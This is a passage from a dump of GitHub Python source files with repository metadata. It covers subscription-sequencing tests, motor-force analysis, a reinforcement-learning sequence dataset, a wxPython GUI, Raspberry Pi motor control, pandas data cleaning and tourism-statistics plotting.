self.assertEqual(self.command.calc_sequence_start(32, 2), 4)\n self.assertEqual(self.command.calc_sequence_start(35, 2), 13)\n\n def test_calc_sequence_start_with_ff_to_end_type_1(self):\n self.assertEqual(self.command.calc_sequence_start(44, 2), 28)\n self.assertEqual(self.command.stdout.getvalue().strip(),\n 'Fast forwarding to end')\n\n def test_calc_sequence_start_with_ff_to_end_type_2(self):\n self.assertEqual(self.command.calc_sequence_start(44, 1), 73)\n self.assertEqual(self.command.stdout.getvalue().strip(),\n 'Fast forwarding to end')\n\n def test_year_from_month(self):\n self.assertEqual(\n set([2015]),\n set([self.command.year_from_month(month)\n for month in range(9)]))\n self.assertEqual(\n set([2014]),\n set([self.command.year_from_month(month)\n for month in range(9, 12)]))\n\n @override_settings(VUMI_GO_API_TOKEN='token')\n def test_stubbed_contacts(self):\n command = self.mk_command(contacts=[\n {\n 'key': 'contact-key',\n 'extra': {\n 'due_date_day': 'foo',\n 'due_date_month': 'bar',\n }\n }\n ])\n command.handle()\n self.assertEqual('Completed', command.stdout.getvalue().strip())\n\n @override_settings(VUMI_GO_API_TOKEN='token')\n def test_standard_subscription_updated(self):\n\n msg_set = self.mk_message_set(short_name='standard')\n self.assertEqual(msg_set.pk, SUBSCRIPTION_STANDARD)\n\n sub = self.mk_subscription(\n user_account='82309423098',\n contact_key='82309423098',\n to_addr='+271234',\n message_set=msg_set)\n sub.active = True\n sub.completed = False\n sub.save()\n\n command = self.mk_command(contacts=[\n {u'$VERSION': 2,\n u'created_at': u'2014-10-13 07:39:05.503410',\n u'extra': {u'due_date_day': u'21',\n u'due_date_month': u'11',\n u'subscription_type': SUBSCRIPTION_STANDARD},\n u'key': u'82309423098',\n u'msisdn': u'+271234'}\n ])\n command.handle()\n\n weeks = command.calc_weeks(date(2014, 11, 21))\n # two weeks to due date based on `get_now()`\n self.assertEqual(weeks, 38)\n sequence_number = command.calc_sequence_start(\n weeks, SUBSCRIPTION_STANDARD)\n # start at week 4\n # 38 - 4 -> 34\n # At two per week -> 68\n # Fix because sequence starts at 1 and we have two per week -> 67\n self.assertEqual(sequence_number, 67)\n\n updated = Subscription.objects.get(contact_key='82309423098')\n self.assertEqual(sequence_number, updated.next_sequence_number)\n self.assertEqual('\\n'.join([\n 'Getting: 82309423098',\n 'Mother due 2014-11-21',\n 'Week of preg 38',\n 'Sub type is 1',\n 'Setting to seq 67 from 1',\n 'Updated 1.0 subscribers at unknown per second',\n 'Completed'\n ]), command.stdout.getvalue().strip())\n\n @override_settings(VUMI_GO_API_TOKEN='token')\n def test_later_subscription_updated(self):\n\n msg_set = self.mk_message_set(short_name='later')\n self.assertEqual(msg_set.pk, SUBSCRIPTION_LATER)\n\n sub = self.mk_subscription(\n user_account='82309423098',\n contact_key='82309423098',\n to_addr='+271234',\n message_set=msg_set)\n sub.active = True\n sub.completed = False\n sub.save()\n\n command = self.mk_command(contacts=[\n {u'$VERSION': 2,\n u'created_at': u'2014-10-13 07:39:05.503410',\n u'extra': {u'due_date_day': u'21',\n u'due_date_month': u'11',\n u'subscription_type': SUBSCRIPTION_LATER},\n u'key': u'82309423098',\n u'msisdn': u'+271234'}\n ])\n command.handle()\n\n weeks = command.calc_weeks(date(2014, 11, 21))\n # two weeks to due date based on `get_now()`\n self.assertEqual(weeks, 38)\n sequence_number = command.calc_sequence_start(\n weeks, SUBSCRIPTION_LATER)\n # start at week 30\n # 38 - 30 -> 8\n # At three per week -> 24\n # Fix because sequence starts at 1 and we have 3 per week -> 22\n self.assertEqual(sequence_number, 22)\n\n updated = Subscription.objects.get(contact_key='82309423098')\n self.assertEqual(sequence_number, updated.next_sequence_number)\n self.assertEqual('\\n'.join([\n 'Getting: 82309423098',\n 'Mother due 2014-11-21',\n 'Week of preg 38',\n 'Sub type is 2',\n 'Setting to seq 22 from 1',\n 'Updated 1.0 subscribers at unknown per second',\n 'Completed'\n ]), command.stdout.getvalue().strip())\n\n @override_settings(VUMI_GO_API_TOKEN='token')\n def test_leap_year_due_date(self):\n\n msg_set = self.mk_message_set(short_name='standard')\n self.assertEqual(msg_set.pk, SUBSCRIPTION_STANDARD)\n\n sub = self.mk_subscription(\n user_account='82309423098',\n contact_key='82309423098',\n to_addr='+271234',\n message_set=msg_set)\n sub.active = True\n sub.completed = False\n sub.save()\n\n command = self.mk_command(contacts=[\n {u'$VERSION': 2,\n u'created_at': u'2014-10-13 07:39:05.503410',\n u'extra': {u'due_date_day': u'29',\n u'due_date_month': u'02',\n u'subscription_type': SUBSCRIPTION_STANDARD},\n u'key': u'82309423098',\n u'msisdn': u'+271234'}\n ])\n command.handle()\n\n self.assertEqual('\\n'.join([\n 'Getting: 82309423098',\n 'Contact 82309423098 threw day is out of range for month',\n 'Completed'\n ]), command.stdout.getvalue().strip())\n\n @override_settings(VUMI_GO_API_TOKEN='token')\n def test_contact_missing_fields(self):\n\n msg_set = self.mk_message_set(short_name='standard')\n self.assertEqual(msg_set.pk, SUBSCRIPTION_STANDARD)\n\n sub = self.mk_subscription(\n user_account='82309423098',\n contact_key='82309423098',\n to_addr='+271234',\n message_set=msg_set)\n sub.active = True\n sub.completed = False\n sub.save()\n\n command = self.mk_command(contacts=[\n {u'$VERSION': 2,\n u'bbm_pin': None,\n u'created_at': u'2014-09-11 12:42:00.470711',\n u'dob': None,\n u'email_address': None,\n u'extra': {u'birth_day': u'30',\n u'birth_month': u'12',\n u'birth_year': u'1996',\n u'clinic_code': u'123456',\n u'dob': u'1996-12-30',\n u'due_date_day': u'23',\n u'due_date_month': u'01',\n u'id_type': u'sa_id',\n u'is_registered': u'true',\n u'is_registered_by': u'clinic',\n u'language_choice': u'zu',\n u'last_stage': u'states_faq_end',\n u'metric_sessions_to_register': u'0',\n u'metric_sum_sessions': u'55',\n u'sa_id': u'xxxx',\n u'service_rating_reminder': u'0',\n u'ussd_sessions': u'54'},\n u'facebook_id': None,\n u'groups': [u'4baf3a89aa0243feb328ca664d1a5e8c'],\n u'gtalk_id': None,\n u'key': u'82309423098',\n u'msisdn': u'+27715323385',\n u'mxit_id': None,\n u'name': None,\n u'subscription': {},\n u'surname': None,\n u'twitter_handle': None,\n u'user_account': u'useraccountkey',\n u'wechat_id': None}\n ])\n command.handle()\n\n self.assertEqual('\\n'.join([\n \"Getting: 82309423098\",\n \"Mother due 2015-01-23\",\n \"Week of preg 29\",\n \"Contact 82309423098 threw KeyError on 'subscription_type'\",\n \"Completed\"\n ]), command.stdout.getvalue().strip())\n","repo_name":"praekeltfoundation/ndoh-control","sub_path":"subscription/management/commands/tests/test_set_seq.py","file_name":"test_set_seq.py","file_ext":"py","file_size_in_byte":11135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72411875918","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 7 18:19:29 2020\n\n@author: christiangolz\n\"\"\"\n\nimport glob\nimport pickle\nimport numpy as np\nfrom scipy import signal\nimport pandas as pd\nfrom scipy import stats\nimport seaborn as sns \n\nresults_path = '/Volumes/SEAGATE_BAC/Hard_drive/Project2_DMDMotorControl/Results/Force' # where to put te reults \nforce_path = '/Volumes/SEAGATE_BAC/Hard_drive/Project2_DMDMotorControl/Exp3/Verhalten_Motorik_Pre_Post/Pre/' #location of force files \nfiles = glob.glob(force_path + 'na*') + glob.glob(force_path + 'nj*')\nn_trials = 160 \nfs = 120 #sampling rate \nlength = 120 * 3 #3sec\nb, a = signal.butter(4, 30/(fs/2), 'low')\ndiff_signal ={}\ncolumns_results = ['mAccuracy_StR', 'mAccuracy_SinR', 'mAccuracy_StL', 'mAccuracy_SinL', \n 'mVariability_StR', 'mVariability_SinR', 'mVariability_StL', 'mVariability_SinL',\n 'mTWR_StR', 'mTWR_SinR', 'mTWR_StL', 'mTWR_SinL'] \npart_all = []\nmean_all_trial = [] \nAccuracy = [] \nVariability = [] \nexclude = []\nfor parti in files :\n diff = []\n wr_vec = []\n label = []\n ex = [] \n part_all.append(parti[-4:])\n \n for trial in range(1,n_trials+1):\n # Import and filtering \n this_part_files = glob.glob(parti + '/*r' + str(trial) + 'axis0.dat')\n data = pd.read_csv(this_part_files[0], skiprows = 2)\n raw = data['Pinch 1'].values[120:-120]\n target = data['MVC 1'].values[120:-120] \n filt = signal.filtfilt(b, a, raw)\n fivep_range = target*0.05\n \n d = abs(target - filt) # absolut deviation from target \n wr_vec.append((d-fivep_range) < 0)\n diff.append(abs(target - filt)) \n \n if trial <= 40: \n label.append(['Steady_r'])\n elif trial > 40 and trial <= 80:\n label.append(['Sinus_r'])\n elif trial > 80 and trial <= 120 :\n label.append(['Steady_l'])\n else: \n label.append(['Sinus_l'])\n \n diff = np.asarray(diff)\n TWR = [len(np.asarray(np.where(vec == True)).T)/120 for vec in wr_vec]\n label = np.ravel(label)\n df = pd.DataFrame(data = diff)\n df['label'] = label\n df['Accuracy'] = np.mean(diff, axis = 1)\n df['Variability'] = np.std(diff, axis = 1)\n df['TWR'] = TWR\n diff_signal[parti[-4:]] = df\n \n # #zscore outlier detection \n zAll = df.groupby(['label'], sort = False).Accuracy.apply(stats.zscore)\n zAll = np.concatenate(zAll.to_list())\n \n #outlier detection and documentation\n ex = np.where(np.abs(zAll > 3)) \n df.drop(ex[0])\n exclude.append(np.array(ex[0]))\n \n # stats and add to results \n df = df[['Accuracy', 'Variability', 'TWR', 'label']]\n this_result = df.groupby(['label'], sort = False).mean()\n mean_all_trial.append(this_result)\n \n########## save results ###################################################### \nexclude = pd.DataFrame(data = exclude, index = part_all)\nmean_all = pd.concat(mean_all_trial, keys = part_all, names = ['Part', 'label']) \nexclude.to_excel('Exclude.xlsx')\n# mean_all.to_excel(results_path + '/Force_results.xlsx') \n# with open(results_path + '/Diff_signal.pkl', 'wb') as handle:\n# pickle.dump(diff_signal, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n \n################## plotting of the results ###################################\nmean_all.reset_index(inplace = True)\nmean_all['Group'] = 52*['LMA'] + 52*['Young']\nsns.set_context(\"notebook\", font_scale=1, rc={\"lines.linewidth\": 2.5})\nwith sns.axes_style(\"ticks\"):\n g = sns.catplot(y = 'Accuracy', x = 'label', hue = 'Group', data = mean_all, kind = 'violin' ,palette = ['orange','dimgray'])\n (g.set_axis_labels('', \"Mean deviation from target\")\n .set_xticklabels([\"Steady right\", \"Sinus right\", \"Steady left\", \"Sinus left\"])\n .set_titles(\"{col_name} {col_var}\")) \n# '","repo_name":"christiangoelz/Code_Classification-of-visuomotor-tasks-YAOA","sub_path":"force_ana.py","file_name":"force_ana.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16377917612","text":"import os\nimport numpy as np\nimport torch\nimport pdb\n\nfrom latentplan.utils import discretization\nfrom latentplan.utils.arrays import to_torch\n\nfrom .d4rl import load_environment, qlearning_dataset_with_timeouts, minrl_dataset\nfrom .preprocessing import dataset_preprocess_functions\n\ndef segment(observations, terminals, max_path_length):\n \"\"\"\n segment `observations` into trajectories according to `terminals`\n \"\"\"\n assert len(observations) == len(terminals)\n observation_dim = observations.shape[1]\n\n trajectories = [[]]\n for obs, term in zip(observations, terminals):\n trajectories[-1].append(obs)\n if term.squeeze():\n trajectories.append([])\n\n if len(trajectories[-1]) == 0:\n trajectories = trajectories[:-1]\n\n ## list of arrays because trajectories lengths will be different\n trajectories = [np.stack(traj, axis=0) for traj in trajectories]\n\n n_trajectories = len(trajectories)\n path_lengths = [len(traj) for traj in trajectories]\n\n ## pad trajectories to be of equal length\n trajectories_pad = np.zeros((n_trajectories, max_path_length, observation_dim), dtype=trajectories[0].dtype)\n early_termination = np.zeros((n_trajectories, max_path_length), dtype=np.bool)\n for i, traj in enumerate(trajectories):\n path_length = path_lengths[i]\n trajectories_pad[i,:path_length] = traj\n early_termination[i,path_length:] = 1\n\n return trajectories_pad, early_termination, path_lengths\n\nclass SequenceDataset(torch.utils.data.Dataset):\n def __init__(self, env, sequence_length=250, step=10, discount=0.99, max_path_length=1000,\n penalty=None, device='cuda:0', normalize_raw=True, normalize_reward=True, train_portion=1.0, disable_goal=False):\n print(f'[ datasets/sequence ] Sequence length: {sequence_length} | Step: {step} | Max path length: {max_path_length}')\n self.env = env = load_environment(env) if type(env) is str else env\n self.sequence_length = sequence_length\n self.step = step\n self.max_path_length = max_path_length\n self.device = device\n self.disable_goal = disable_goal\n \n print(f'[ datasets/sequence ] Loading...', end=' ', flush=True)\n if 'MineRL' in env.name:\n raise ValueError()\n dataset = qlearning_dataset_with_timeouts(env.unwrapped, terminate_on_end=True, disable_goal=disable_goal)\n # dataset = qlearning_dataset_with_timeouts(env, dataset=None, terminate_on_end=False)\n print('✓')\n\n preprocess_fn = dataset_preprocess_functions.get(env.name)\n if preprocess_fn:\n print(f'[ datasets/sequence ] Modifying environment')\n dataset = preprocess_fn(dataset)\n ##\n\n observations = dataset['observations']\n actions = dataset['actions'].astype(np.float32)\n rewards = dataset['rewards'].astype(np.float32)\n terminals = dataset['terminals']\n realterminals = dataset['realterminals']\n\n\n self.normalized_raw = normalize_raw\n self.normalize_reward = normalize_reward\n self.obs_mean, self.obs_std = observations.mean(axis=0, keepdims=True), observations.std(axis=0, keepdims=True)\n self.act_mean, self.act_std = actions.mean(axis=0, keepdims=True), actions.std(axis=0, keepdims=True)\n self.reward_mean, self.reward_std = rewards.mean(), rewards.std()\n\n if normalize_raw:\n observations = (observations-self.obs_mean) / self.obs_std\n actions = (actions-self.act_mean) / self.act_std\n\n self.observations_raw = observations\n self.actions_raw = actions\n self.joined_raw = np.concatenate([observations, actions], axis=-1, dtype=np.float32)\n self.rewards_raw = rewards\n self.terminals_raw = terminals\n\n ## terminal penalty\n if penalty is not None:\n terminal_mask = realterminals.squeeze()\n self.rewards_raw[terminal_mask] = penalty\n\n ## segment\n print(f'[ datasets/sequence ] Segmenting...', end=' ', flush=True)\n self.joined_segmented, self.termination_flags, self.path_lengths = segment(self.joined_raw, terminals, max_path_length)\n self.rewards_segmented, *_ = segment(self.rewards_raw, terminals, max_path_length)\n print('✓')\n\n self.discount = discount\n self.discounts = (discount ** np.arange(self.max_path_length))[:,None]\n\n ## [ n_paths x max_path_length x 1 ]\n self.values_segmented = np.zeros(self.rewards_segmented.shape, dtype=np.float32)\n\n for t in range(max_path_length):\n ## [ n_paths x 1 ]\n V = (self.rewards_segmented[:,t+1:] * self.discounts[:-t-1]).sum(axis=1)\n self.values_segmented[:,t] = V\n\n\n ## add (r, V) to `joined`\n values_raw = self.values_segmented.squeeze(axis=-1).reshape(-1)\n values_mask = ~self.termination_flags.reshape(-1)\n self.values_raw = values_raw[values_mask, None]\n\n if normalize_raw and normalize_reward:\n self.value_mean, self.value_std = self.values_raw.mean(), self.values_raw.std()\n self.values_raw = (self.values_raw-self.value_mean) / self.value_std\n self.rewards_raw = (self.rewards_raw - self.reward_mean) / self.reward_std\n\n self.values_segmented = (self.values_segmented-self.value_mean) / self.value_std\n self.rewards_segmented = (self.rewards_segmented - self.reward_mean) / self.reward_std\n else:\n self.value_mean, self.value_std = np.array(0), np.array(1)\n\n self.joined_raw = np.concatenate([self.joined_raw, self.rewards_raw, self.values_raw], axis=-1)\n self.joined_segmented = np.concatenate([self.joined_segmented, self.rewards_segmented, self.values_segmented], axis=-1)\n\n self.train_portion = train_portion\n self.test_portion = 1.0 - train_portion\n ## get valid indices\n indices = []\n test_indices = []\n for path_ind, length in enumerate(self.path_lengths):\n end = length - 1\n split = int(end * self.train_portion)\n for i in range(end):\n if i < split:\n indices.append((path_ind, i, i+sequence_length))\n else:\n test_indices.append((path_ind, i, i+sequence_length))\n\n self.indices = np.array(indices)\n self.test_indices = np.array(test_indices)\n self.observation_dim = observations.shape[1]\n self.action_dim = actions.shape[1]\n self.joined_dim = self.joined_raw.shape[1]\n\n ## pad trajectories\n n_trajectories, _, joined_dim = self.joined_segmented.shape\n self.joined_segmented = np.concatenate([\n self.joined_segmented,\n np.zeros((n_trajectories, sequence_length-1, joined_dim), dtype=np.float32),\n ], axis=1)\n\n #self.joined_segmented_tensor = torch.tensor(self.joined_segmented, device=device)\n self.termination_flags = np.concatenate([\n self.termination_flags,\n np.ones((n_trajectories, sequence_length-1), dtype=np.bool),\n ], axis=1)\n\n def denormalize(self, states, actions, rewards, values):\n states = states*self.obs_std + self.obs_mean\n actions = actions*self.act_std + self.act_mean\n rewards = rewards*self.reward_std + self.reward_mean\n values = values*self.value_std + self.value_mean\n return states, actions, rewards, values\n\n def normalize_joined_single(self, joined):\n joined_std = np.concatenate([self.obs_std[0], self.act_std[0], self.reward_std[None], self.value_std[None]])\n joined_mean = np.concatenate([self.obs_mean[0], self.act_mean[0], self.reward_mean[None], self.value_mean[None]])\n return (joined-joined_mean) / joined_std\n\n def denormalize_joined(self, joined):\n states = joined[:,:self.observation_dim]\n actions = joined[:,self.observation_dim:self.observation_dim+self.action_dim]\n rewards = joined[:,-3, None]\n values = joined[:,-2, None]\n results = self.denormalize(states, actions, rewards, values)\n return np.concatenate(results+(joined[:, -1, None],), axis=-1)\n\n\n def normalize_states(self, states):\n if torch.is_tensor(states):\n obs_std = torch.Tensor(self.obs_std).to(states.device)\n obs_mean = torch.Tensor(self.obs_mean).to(states.device)\n else:\n obs_std = np.squeeze(np.array(self.obs_std))\n obs_mean = np.squeeze(np.array(self.obs_mean))\n states = (states - obs_mean) / obs_std\n return states\n\n def denormalize_states(self, states):\n if torch.is_tensor(states):\n act_std = torch.Tensor(self.obs_std).to(states.device)\n act_mean = torch.Tensor(self.obs_mean).to(states.device)\n else:\n act_std = np.squeeze(np.array(self.obs_std))\n act_mean = np.squeeze(np.array(self.obs_mean))\n states = states * act_std + act_mean\n return states\n\n def denormalize_actions(self, actions):\n if torch.is_tensor(actions):\n act_std = torch.Tensor(self.act_std).to(actions.device)\n act_mean = torch.Tensor(self.act_mean).to(actions.device)\n else:\n act_std = np.squeeze(np.array(self.act_std))\n act_mean = np.squeeze(np.array(self.act_mean))\n actions = actions*act_std + act_mean\n return actions\n\n def normalize_actions(self, actions):\n if torch.is_tensor(actions):\n act_std = torch.Tensor(self.act_std).to(actions.device)\n act_mean = torch.Tensor(self.act_mean).to(actions.device)\n else:\n act_std = np.squeeze(np.array(self.act_std))\n act_mean = np.squeeze(np.array(self.act_mean))\n actions = (actions - act_mean) / act_std\n return actions\n\n def denormalize_rewards(self, rewards):\n if (not self.normalized_raw) or (not self.normalize_reward):\n return rewards\n if torch.is_tensor(rewards):\n reward_std = torch.Tensor([self.reward_std]).to(rewards.device)\n reward_mean = torch.Tensor([self.reward_mean]).to(rewards.device)\n else:\n reward_std = np.array([self.reward_std])\n reward_mean = np.array([self.reward_mean])\n rewards = rewards*reward_std + reward_mean\n return rewards\n\n def denormalize_values(self, values):\n if (not self.normalized_raw) or (not self.normalize_reward):\n return values\n if torch.is_tensor(values):\n value_std = torch.Tensor([self.value_std]).to(values.device)\n value_mean = torch.Tensor([self.value_mean]).to(values.device)\n else:\n value_std = np.array([self.value_std])\n value_mean = np.array([self.value_mean])\n values = values*value_std + value_mean\n return values\n\n def __len__(self):\n return len(self.indices)\n\n def __getitem__(self, idx):\n path_ind, start_ind, end_ind = self.indices[idx]\n\n joined = self.joined_segmented[path_ind, start_ind:end_ind:self.step]\n\n ## don't compute loss for parts of the prediction that extend\n ## beyond the max path length\n traj_inds = torch.arange(start_ind, end_ind, self.step)\n mask = torch.ones(joined.shape, dtype=torch.bool)\n mask[traj_inds > self.max_path_length - self.step] = 0\n terminal = 1-torch.cumprod(~torch.tensor(self.termination_flags[path_ind, start_ind:end_ind:self.step, None]),\n dim=1)\n\n ## flatten everything\n X = joined[:-1]\n Y = joined[1:]\n mask = mask[:-1]\n terminal = terminal[:-1]\n\n return X, Y, mask, terminal\n\n def get_test(self):\n Xs = []\n Ys = []\n masks = []\n terminals = []\n for path_ind, start_ind, end_ind in self.test_indices:\n joined = self.joined_segmented[path_ind, start_ind:end_ind:self.step]\n\n ## don't compute loss for parts of the prediction that extend\n ## beyond the max path length\n traj_inds = torch.arange(start_ind, end_ind, self.step)\n mask = torch.ones(joined.shape, dtype=torch.bool)\n mask[traj_inds > self.max_path_length - self.step] = 0\n terminal = 1 - torch.cumprod(\n ~torch.tensor(self.termination_flags[path_ind, start_ind:end_ind:self.step, None]),\n dim=1)\n\n ## flatten everything\n X = joined[:-1]\n Y = joined[1:]\n mask = mask[:-1]\n terminal = terminal[:-1]\n Xs.append(torch.tensor(X))\n Ys.append(torch.tensor(Y))\n masks.append(torch.tensor(mask))\n terminals.append(torch.tensor(terminal))\n return torch.stack(Xs), torch.stack(Ys), torch.stack(masks), torch.stack(terminals)\n\ndef one_hot(a, num_classes):\n return np.squeeze(np.eye(num_classes, dtype=np.uint8)[a.reshape(-1)])","repo_name":"ZhengyaoJiang/latentplan","sub_path":"latentplan/datasets/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":13006,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"29"} +{"seq_id":"42818584041","text":"import wx\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigureCanvas\n\nclass MainWindow(wx.Frame):\n def __init__(self, parent, title):\n super(MainWindow, self).__init__(parent, title=title, size=(800, 600))\n\n self.panel = wx.Panel(self)\n self.fig = plt.figure()\n\n # マップ表示セクション\n self.canvas = FigureCanvas(self.panel, -1, self.fig)\n\n # 操作セクション\n self.size_box = wx.TextCtrl(self.panel)\n self.max_num_box = wx.TextCtrl(self.panel)\n self.run_button = wx.Button(self.panel, label='Run')\n\n self.run_button.Bind(wx.EVT_BUTTON, self.on_run)\n\n self.sizer = wx.BoxSizer(wx.HORIZONTAL)\n self.sizer.Add(self.canvas, 1, wx.EXPAND)\n self.sizer.Add(self.size_box, 0, wx.ALL, 5)\n self.sizer.Add(self.max_num_box, 0, wx.ALL, 5)\n self.sizer.Add(self.run_button, 0, wx.ALL, 5)\n\n self.panel.SetSizerAndFit(self.sizer)\n self.Show()\n\n def on_run(self, event):\n size = self.size_box.GetValue()\n max_num = self.max_num_box.GetValue()\n\n dlg = wx.MessageDialog(self, 'Size: {}, Max number: {}'.format(size, max_num), 'Info', wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n\napp = wx.App(False)\nframe = MainWindow(None, \"Main Window\")\napp.MainLoop()\n\n","repo_name":"kuntaro0524/kshika","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15283601405","text":"from pixie import Camara, img, showIMG, video, videosPlays\nimport RPi.GPIO as GPIO\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n\nIN1=27\nIN2=22\nPWMA=13\nIN3=5\nIN4=6\nPWMB=12\n\nclass MotorController():\n def __init__(self,IN1,IN2,PWMA,IN3,IN4,PWMB):\n GPIO.setup(IN1,GPIO.OUT)\n GPIO.setup(IN2,GPIO.OUT)\n GPIO.setup(PWMA,GPIO.OUT)\n\n GPIO.setup(IN3,GPIO.OUT)\n GPIO.setup(IN4,GPIO.OUT)\n GPIO.setup(PWMB,GPIO.OUT)\n self.IN1=IN1\n self.IN2=IN2\n self.IN3=IN3\n self.IN4=IN4\n\n self.pwma=GPIO.PWM(PWMA,50)\n self.pwmb=GPIO.PWM(PWMB,50)\n self.pwma.start(0)\n self.pwmb.start(0)\n\n\n def left(self, vel1):\n if(vel1>0):\n GPIO.output(self.IN1,GPIO.HIGH)\n GPIO.output(self.IN2,GPIO.LOW)\n self.pwma.ChangeDutyCycle(vel1)\n else:\n GPIO.output(self.IN1,GPIO.LOW)\n GPIO.output(self.IN2,GPIO.HIGH)\n self.pwma.ChangeDutyCycle(vel1*-1)\n\n\n def right(self,vel2):\n if(vel2>0):\n GPIO.output(self.IN3,GPIO.HIGH)\n GPIO.output(self.IN4,GPIO.LOW)\n self.pwmb.ChangeDutyCycle(vel2)\n else:\n GPIO.output(self.IN3,GPIO.LOW)\n GPIO.output(self.IN4,GPIO.HIGH)\n self.pwmb.ChangeDutyCycle(vel2*-1)\n\n\nmotors=MotorController(IN1,IN2,PWMA,IN3,IN4,PWMB)\n\nif __name__ == \"__main__\":\n camara=Camara(0)\n\n camara.DetecColor(img,motors)","repo_name":"97hackbrian/embedded-labs","sub_path":"Raspberry/lab8/eje7.py","file_name":"eje7.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"23569519632","text":"#!/usr/bin/env python3\n\"\"\"\nScript that:\nremoves the Weighted_Price column\nsets missing values in Close to previous row value\nsets High, Low, Open to the same row’s Close value\nsets missing values in Volume_(BTC) and Volume_(Currency) to 0\n\"\"\"\nimport pandas as pd\nfrom_file = __import__('2-from_file').from_file\n\ndf = from_file('coinbaseUSD_1-min_data_2014-12-01_to_2019-01-09.csv', ',')\n\ndf.pop(\"Weighted_Price\")\ndf.fillna({\"Volume_(BTC)\" : 0, \"Volume_(Currency)\" : 0}, inplace=True)\ndf[['Close']] = df[['Close']].ffill()\ndf[\"High\"] = df[\"High\"].fillna(df[\"Close\"])\ndf[\"Low\"] = df[\"Low\"].fillna(df[\"Close\"])\ndf[\"Open\"] = df[\"Open\"].fillna(df[\"Close\"])\n\nprint(df.head())\nprint(df.tail())","repo_name":"anaruzz/holbertonschool-machine_learning","sub_path":"pipeline/0x00-pandas/9-fill.py","file_name":"9-fill.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74964940879","text":"import matplotlib.pyplot as plt # Create diagrams\nimport pandas as pd # Analyze data\nimport textwrap as tw # Text wrapping\n\n# Diagram for total arrivals\ndef export_total_arrivals(df, diagram_name):\n print(\"Exporting \" + diagram_name + \"...\")\n rel_path_filename = \"../diagrams/\" + diagram_name\n df.plot(kind = \"bar\", x = \"Year\", y = \"Total Arrivals\", title = \"Total Arrivals in 2011-2014\", legend = False) # Plotting the dataframe\n plt.style.use(\"seaborn-dark\") # Color style\n plt.ylabel(\"Total Arrivals\") # Label for y axis\n plt.xlabel(\"Years\") # Label for x axis\n plt.xticks(rotation = 0) # Rotation for x axis' labels\n plt.tight_layout() # Fit labels\n plt.savefig(rel_path_filename) # Save the diagram\n print(\"Done.\")\n\n\n# Diagram for total arrivals by country\ndef export_total_arrivals_by_country(df, diagram_name):\n print(\"Exporting \" + diagram_name + \"...\")\n rel_path_filename = \"../diagrams/\" + diagram_name\n df.plot(kind = \"bar\", x = \"Country\", y = \"Total Arrivals\", title = \"Total Arrivals by Country in 2011-2014\", legend = False) # Plotting the dataframe\n plt.style.use(\"seaborn-dark\") # Color style\n plt.ylabel(\"Total Arrivals\") # Label for y axis\n plt.xlabel(\"Countries\") # Label for x axis\n\n text = '''\\\n Note: Other European Countries are European countries besides Austria, Belgium, Bulgaria, Denmark, Estonia, Ireland, \n Spain, Italy, Croatia, Cyprus, Latvia, Lithuania, Luxembourg, Malta, Netherlands, Hungary, Poland, Portugal, \n Romania, Slovakia, Slovenia, Sweden, Czech Republic, Finland, Albania, Switzerland, Norway, Iceland, Russia, Servia.\n '''\n\n # Format the text\n fig_txt = tw.fill(tw.dedent(text.rstrip()), width=80)\n\n # Place the text\n plt.figtext(0.5, -0.12, fig_txt, horizontalalignment = \"center\",\n fontsize = 8, multialignment = \"left\",\n bbox=dict(boxstyle = \"round\", facecolor = \"#D8D8D8\",\n ec = \"0.5\", pad = 0.5, alpha = 1), fontweight = \"bold\")\n\n plt.xticks(rotation = 45) # Rotation for x axis' labels\n plt.tight_layout() # Fit labels\n plt.savefig(rel_path_filename, bbox_inches = \"tight\") # Save the diagram\n print(\"Done.\")\n\n\n\n# Diagram for total arrivals by means of transport\ndef export_total_arrivals_by_means_of_transport(df, diagram_name):\n print(\"Exporting \" + diagram_name + \"...\")\n rel_path_filename = \"../diagrams/\" + diagram_name\n df.plot(kind = \"bar\", x = \"Means of Transport\", y = \"Total Arrivals\", title = \"Total Arrivals by Means of Transport in 2011-2014\", legend = False) # Plotting the dataframe\n plt.style.use(\"seaborn-dark\") # Color style\n plt.ylabel(\"Total Arrivals\") # Label for y axis\n plt.xlabel(\"Means of Transport\") # Label for x axis\n plt.xticks(rotation = 0) # Rotation for x axis' labels\n plt.tight_layout() # Fit labels\n plt.savefig(rel_path_filename) # Save the diagram\n print(\"Done.\")\n\n\n# Diagram for total arrivals by quarter\ndef export_total_arrivals_quarter(df, diagram_name):\n print(\"Exporting \" + diagram_name + \"...\")\n rel_path_filename = \"../diagrams/\" + diagram_name\n df.pivot(\"Year\", \"Quarter\", \"Total Arrivals\").plot(kind=\"bar\", title = \"Total Arrivals by Quarter in 2011-2014\") # Plotting the dataframe\n plt.style.use(\"seaborn-dark\") # Color style\n plt.ylabel(\"Total Arrivals\") # Label for y axis\n plt.xlabel(\"Years\") # Label for x axis\n plt.xticks(rotation = 0) # Rotation for x axis' labels\n plt.tight_layout() # Fit labels\n plt.savefig(rel_path_filename) # Save the diagram\n print(\"Done.\")\n","repo_name":"gthomas08/Data-Visualization-Project","sub_path":"py_files/diagram.py","file_name":"diagram.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38594245707","text":"#Step 1: The user inputs the length of the sequence.\n#Step 2: Make the sequence 1, 2, 3, 6, 11, 20, 37, ___, ___, ___, …\n#Step 3: The program prints the first n numbers in the sequence: 